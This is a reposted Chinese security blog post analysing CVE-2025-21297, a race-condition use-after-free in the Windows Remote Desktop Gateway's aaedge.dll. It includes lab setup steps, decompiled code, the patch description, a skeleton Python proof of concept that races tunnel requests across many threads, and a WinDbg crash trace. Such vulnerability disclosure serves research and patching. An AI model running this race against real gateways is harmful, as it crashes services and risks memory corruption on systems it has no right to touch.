poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍

poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍

唐天闻 独眼情报 2025-05-19 02:35

文章地址为:https://v-v.space/2025/05/15/CVE-2025-21297/
已取得大佬转载同意,赛博昆仑的大佬是真滴多啊。 对作者敢兴趣的可以关注大佬的 x ,@vv474172261

时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.

配置RDG环境

  1. 准备虚拟机, 安装未修补漏洞的windows server.

  2. 安装 RDG 服务

1724930738398

1724930738398

1724930805655

1724930805655

1724930817254

1724930817254

1724930838256

1724930838256

1724930853119

1724930853119

1724930861724

1724930861724

1724930874111

1724930874111

1724930908758

1724930908758

wait until finish installation:

1724931393509

1724931393509

select tools to open RDG manager:

1724931430677

1724931430677

1724931458368

1724931458368

1724931477527

1724931477527

1724931503035

1724931503035

创建自签名证书:

1724931563124

1724931563124

1724931624086

1724931624086

最后点击”OK”:

1724931681229

1724931681229

创建 RDCAP:

1724931754262

1724931754262

1724931772188

1724931772188

选择用户组:

1724931808867

1724931808867

点击 “OK”.

1724931976253

1724931976253

创建 RDRAP:

1724931877871

1724931877871

1724931894166

1724931894166

1724931916078

1724931916078

1724931946012

1724931946012

点击”OK”.

1724931995221

1724931995221

获取进程id:

img

img

漏洞介绍

在aaedge.dll!CTsgMsgServer::GetCTsgMsgServerInstance
里, 会初始化全局变量CTsgMsgServer::m_pMsgSvrInstance
:

struct CTsgMsgServer *CTsgMsgServer::GetCTsgMsgServerInstance(void){  v0 = CTsgMsgServer::m_pMsgSvrInstance;if ( CTsgMsgServer::m_pMsgSvrInstance )// a0    goto LABEL_9;  v1 = operator new(0x70ui64);if ( v1 )  {    v1->ref = 1;    CTsgMsgServer::m_pMsgSvrInstance = v1; // a1    ......    v0 = CTsgMsgServer::m_pMsgSvrInstance;LABEL_9:    v4 = (v0 + *(v0->_0_60h_0h + 4i64));    (v4->f_0h->func_AddRef_CAAAuthenticateUserSink_180006ce0_0h)(v4);    return CTsgMsgServer::m_pMsgSvrInstance;// a2  }

如上所示, 在a1位置, 设置了指针给CTsgMsgServer::m_pMsgSvrInstance
, 在a2位置, 返回值用的是全局变量CTsgMsgServer::m_pMsgSvrInstance
.

现在设想一个如下场景:
1. socket1连接服务, 进入了该函数a0位置, 由于CTsgMsgServer::m_pMsgSvrInstance
没有初始化, 所以进入到申请内存阶段, 此时还没有到达a1.

  1. socket2同时连接服务, 进入了该函数, 由于socket1的流程还没有到a1, 所以CTsgMsgServer::m_pMsgSvrInstance
    还是没有初始化, 因此也进入申请内存阶段.

  2. socket1运行至a1位置, 将heap1赋值给全局变量. 之后运行至a2位置, 准备通过全局变量返回heap1指针.

  3. socket2运行至a1位置, 用heap2覆盖了CTsgMsgServer::m_pMsgSvrInstance
    存储的heap1的值. heap2->ref 是 1.

  4. socket1运行结束, 将heap2作为结果返回, 并且heap2->ref 还是1.

  5. socket2运行到a2, 返回heap2. 此时heap2->ref 是2.

  6. socket1结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance
    , heap2->ref变成1

  7. socket2结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance
    , heap2->ref变成0, heap2被释放. CTsgMsgServer::m_pMsgSvrInstance
    变成悬挂指针.

  8. 当socket3连接时, 引用了悬挂指针, 导致UAF

这个全局变量只会初始化一次, 所以只有在服务第一次启动的时候是NULL的, 但是我们可以通过其它漏洞崩溃服务进程, 让它重启, 于是它又是NULL了.

补丁

官方添加了互斥锁, 避免了多线程同时进入初始化流程.

总结

其实这个uaf最大的问题在于返回值用的全局变量指针, 如果是临时变量指针v1, 至少不会导致引用计数错误. 同时, 也提醒我们要关注全局变量的初始化和引用, 避免竞争情况下的异常.

POC核心逻辑

def get_data(conId):  data = 'GET /remoteDesktopGateway?......'return datadef main_logic():  sock.send(get_data(conId).encode('utf-8'))  sock.recv(1024)  time.sleep(0.2)  data = HandShakeRequest(0)  data = websocket_data(b'xxxx', data)  sock.send(data)  sock.recv(1024)  data = TunnelRequest(2)  data = websocket_data(b'xxxx', data)  wait_all_threads_ready_and_sync()  sock.send(data)  time.sleep(0.1)  sock.close()    def exp():for _ in range(total_thread_nums):    pool.submit(main_logic) // 使用多个线程竞争  time.sleep(0.5)  main_logic()// 模拟socket3行为

crash栈回溯

0:046> rrax=0000000000000000 rbx=0000000000000000 rcx=000001aa4c74e7c0rdx=000001aa4bfb4f90 rsi=000001aa4c74e7c0 rdi=000001aa4d2a0650rip=00007ffa77957678 rsp=0000003a539fef60 rbp=0000000000000000 r8=7ffffffffffffffc  r9=0000000000000000 r10=00000fff4ef319d4r11=0000000004500000 r12=0000000000000001 r13=00007ffa779ce1c8r14=000001aa4c74e7c0 r15=0000000000000000iopl=0         nv up ei pl nz na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8:00007ffa`77957678 488b02          mov     rax,qword ptr [rdx] ds:000001aa`4bfb4f90=????????????????0:046> k# Child-SP          RetAddr           Call Site00 0000003a`539fef60 00007ffa`77952007 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf801 0000003a`539fefa0 00007ffa`779528de aaedge!CServerTunnel::Initialize+0x5702 0000003a`539ff030 00007ffa`7795cc20 aaedge!CAAServerTunnelFactory::InternalCreateNewTunnel+0x23a03 0000003a`539ff0a0 00007ffa`7795c776 aaedge!CEdgeOperations::CreateTunnelWithUser+0x3004 0000003a`539ff0e0 00007ffa`7799038a aaedge!CEdgeOperations::CreateTunnel+0x1d605 0000003a`539ff190 00007ffa`779929c9 aaedge!CAAHttpServerConnection::HandleTunnelRequestReceived+0x26206 0000003a`539ff230 00007ffa`77989816 aaedge!CAAHttpServerConnection::OnReceiveDataComplete+0x1c907 0000003a`539ff4d0 00007ffa`7797d5c2 aaedge!CAAHttpServerTransport::WebSocketReceiveLoop+0x104e08 0000003a`539ff640 00007ffa`7797e286 aaedge!CAAHttpServerTransport::HandleWebSocketReceiveRawDataCompletion+0x24e09 0000003a`539ff6d0 00007ffa`94407c4f aaedge!CAAHttpServerTransport::IoCompletionCallback+0x2660a 0000003a`539ff760 00007ffa`95a18e57 kernel32!BasepTpIoCallback+0x4f0b 0000003a`539ff7b0 00007ffa`95a31f9e ntdll!TppIopExecuteCallback+0x1b70c 0000003a`539ff830 00007ffa`9440dbe7 ntdll!TppWorkerThread+0x57e0d 0000003a`539ffb90 00007ffa`95a65a4c kernel32!BaseThreadInitThunk+0x170e 0000003a`539ffbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c0:046> !heap -p -a 1aa`4bfb4f90ReadMemory error for address ffffffffffffffe8Use `!address ffffffffffffffe8' to check validity of the address.ReadMemory error for address ffffffffffffffe8Use `!address ffffffffffffffe8' to check validity of the address.    address 000001aa4bfb4f90 found in    _DPH_HEAP_ROOT @ 1aa40001000    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)                                1aa400465b0:      1aa4bfb4000             2000    00007ffa95a64373 ntdll!RtlDebugFreeHeap+0x0000000000000037    00007ffa95a0ba6e ntdll!RtlpFreeHeap+0x000000000000174e    00007ffa95a09b80 ntdll!RtlpFreeNTHeapInternal+0x00000000000003f0    00007ffa95a13414 ntdll!RtlpHpTagFreeHeap+0x0000000000000574    00007ffa95a123bd ntdll!RtlFreeHeap+0x000000000000019d    00007ffa94d7d61c msvcrt!free+0x000000000000001c    00007ffa77956fd4 aaedge!CTsgMsgServer::`vector deleting destructor'+0x0000000000000034    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027    00007ffa7794fba2 aaedge!CServerTunnel::~CServerTunnel+0x00000000000000ce    00007ffa7794fd90 aaedge!CServerTunnel::`vector deleting destructor'+0x0000000000000020    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027    00007ffa7798c816 aaedge!CAAHttpServerConnection::Cleanup+0x000000000000026e    00007ffa779911ca aaedge!CAAHttpServerConnection::InternalShutdown+0x0000000000000486    00007ffa77992768 aaedge!CAAHttpServerConnection::OnDisconnected+0x00000000000000b8    00007ffa7797c03c aaedge!CAAHttpServerTransport::HandleDisconnected+0x00000000000003b0    00007ffa7797e250 aaedge!CAAHttpServerTransport::IoCompletionCallback+0x0000000000000230    00007ffa94407c4f kernel32!BasepTpIoCallback+0x000000000000004f    00007ffa95a18e57 ntdll!TppIopExecuteCallback+0x00000000000001b7    00007ffa95a31f9e ntdll!TppWorkerThread+0x000000000000057e    00007ffa9440dbe7 kernel32!BaseThreadInitThunk+0x0000000000000017    00007ffa95a65a4c ntdll!RtlUserThreadStart+0x000000000000002c